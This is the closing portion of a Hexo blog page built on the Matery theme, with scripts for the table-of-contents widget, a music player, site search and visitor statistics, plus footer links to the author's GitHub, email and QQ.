        let tocHeight = parseInt($(window).height() * 0.4 - 64);
        let $tocWidget = $('.toc-widget');
        $(window).scroll(function () {
            let scroll = $(window).scrollTop();
            /* add post toc fixed. */
            if (scroll > tocHeight) {
                $tocWidget.addClass('toc-fixed');
            } else {
                $tocWidget.removeClass('toc-fixed');
            }
        });

        
        /* 修复文章卡片 div 的宽度. */
        let fixPostCardWidth = function (srcId, targetId) {
            let srcDiv = $('#' + srcId);
            if (srcDiv.length === 0) {
                return;
            }

            let w = srcDiv.width();
            if (w >= 450) {
                w = w + 21;
            } else if (w >= 350 && w < 450) {
                w = w + 18;
            } else if (w >= 300 && w < 350) {
                w = w + 16;
            } else {
                w = w + 14;
            }
            $('#' + targetId).width(w);
        };

        // 切换TOC目录展开收缩的相关操作.
        const expandedClass = 'expanded';
        let $tocAside = $('#toc-aside');
        let $mainContent = $('#main-content');
        $('#floating-toc-btn .btn-floating').click(function () {
            if ($tocAside.hasClass(expandedClass)) {
                $tocAside.removeClass(expandedClass).hide();
                $mainContent.removeClass('l9');
            } else {
                $tocAside.addClass(expandedClass).show();
                $mainContent.addClass('l9');
            }
            fixPostCardWidth('artDetail', 'prenext-posts');
        });
        
    });
</script>

    

</main>




    <footer class="page-footer bg-color">
    
        <link rel="stylesheet" href="/libs/aplayer/APlayer.min.css">
<style>
    .aplayer .aplayer-lrc p {
        
        display: none;
        
        font-size: 12px;
        font-weight: 700;
        line-height: 16px !important;
    }

    .aplayer .aplayer-lrc p.aplayer-lrc-current {
        
        display: none;
        
        font-size: 15px;
        color: #42b983;
    }

    
    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body {
        left: -66px !important;
    }

    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body:hover {
        left: 0px !important;
    }

    
</style>
<div class="">
    
    <div class="row">
        <meting-js class="col l8 offset-l2 m10 offset-m1 s12"
                   server="netease"
                   type="playlist"
                   id="5128304262"
                   fixed='true'
                   autoplay='false'
                   theme='#42b983'
                   loop='all'
                   order='list'
                   preload='auto'
                   volume='0.7'
                   list-folded='true'
        >
        </meting-js>
    </div>
</div>

<script src="/libs/aplayer/APlayer.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/meting@2/dist/Meting.min.js"></script>

    
    <div class="container row center-align" style="margin-bottom: 0px !important;">
        <div class="col s12 m8 l8 copy-right">
            Copyright&nbsp;&copy;
            <span id="year">2019</span>
            <a href="/about" target="_blank">灿若星河</a>
            |&nbsp;Powered by&nbsp;<a href="https://hexo.io/" target="_blank">Hexo</a>
            |&nbsp;Theme&nbsp;<a href="https://github.com/blinkfox/hexo-theme-matery" target="_blank">Matery</a>
            <br>
            
            
            
            
            
            
            <span id="busuanzi_container_site_pv">
                |&nbsp;<i class="far fa-eye"></i>&nbsp;总访问量:&nbsp;<span id="busuanzi_value_site_pv"
                    class="white-color"></span>&nbsp;次
            </span>
            
            
            <span id="busuanzi_container_site_uv">
                |&nbsp;<i class="fas fa-users"></i>&nbsp;总访问人数:&nbsp;<span id="busuanzi_value_site_uv"
                    class="white-color"></span>&nbsp;人
            </span>
            
            <br>
            
            <br>
            
        </div>
        <div class="col s12 m4 l4 social-link social-statis">
    <a href="https://github.com/1766095699" class="tooltipped" target="_blank" data-tooltip="访问我的GitHub" data-position="top" data-delay="50">
        <i class="fab fa-github"></i>
    </a>



    <a href="mailto:1766095699@qq.com" class="tooltipped" target="_blank" data-tooltip="邮件联系我" data-position="top" data-delay="50">
        <i class="fas fa-envelope-open"></i>
    </a>







    <a href="tencent://AddContact/?fromId=50&fromSubId=1&subcmd=all&uin=1766095699" class="tooltipped" target="_blank" data-tooltip="QQ联系我: 1766095699" data-position="top" data-delay="50">
        <i class="fab fa-qq"></i>
    </a>







    <a href="/atom.xml" class="tooltipped" target="_blank" data-tooltip="RSS 订阅" data-position="top" data-delay="50">
        <i class="fas fa-rss"></i>
    </a>

</div>
    </div>
</footer>

<div class="progress-bar"></div>


    <!-- 搜索遮罩框 -->
<div id="searchModal" class="modal">
    <div class="modal-content">
        <div class="search-header">
            <span class="title"><i class="fas fa-search"></i>&nbsp;&nbsp;搜索</span>
            <input type="search" id="searchInput" name="s" placeholder="请输入搜索的关键字"
                   class="search-input">
        </div>
        <div id="searchResult"></div>
    </div>
</div>

<script src="/js/search.js"></script>
<script type="text/javascript">
$(function () {
    searchFunc("/search.xml", 'searchInput', 'searchResult');
});
</script>

    <!-- 回到顶部按钮 -->
<div id="backTop" class="top-scroll">
    <a class="btn-floating btn-large waves-effect waves-light" href="#!">
        <i class="fas fa-arrow-up"></i>
    </a>
</div>


    <script src="/libs/materialize/materialize.min.js"></script>
    <script src="/libs/masonry/masonry.pkgd.min.js"></script>
    <script src="/libs/aos/aos.js"></script>
    <script src="/libs/scrollprogress/scrollProgress.min.js"></script>
    <script src="/libs/lightGallery/js/lightgallery-all.min.js"></script>
    <script src="/js/matery.js"></script>

    <!-- Baidu Analytics -->

    <!-- Baidu Push -->

<script>
    (function () {
        var bp = document.createElement('script');
        var curProtocol = window.location.protocol.split(':')[0];
        if (curProtocol === 'https') {
            bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
        } else {
            bp.src = 'http://push.zhanzhang.baidu.com/push.js';
        }
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
    })();
</script>

    
    <script src="/libs/others/clicklove.js" async="async"></script>
    
    
    <script async src="/libs/others/busuanzi.pure.mini.js"></script>
    

    

    

    

    

    

    
    <script src="/libs/instantpage/instantpage.js" type="module"></script>
    

</body>

</html>
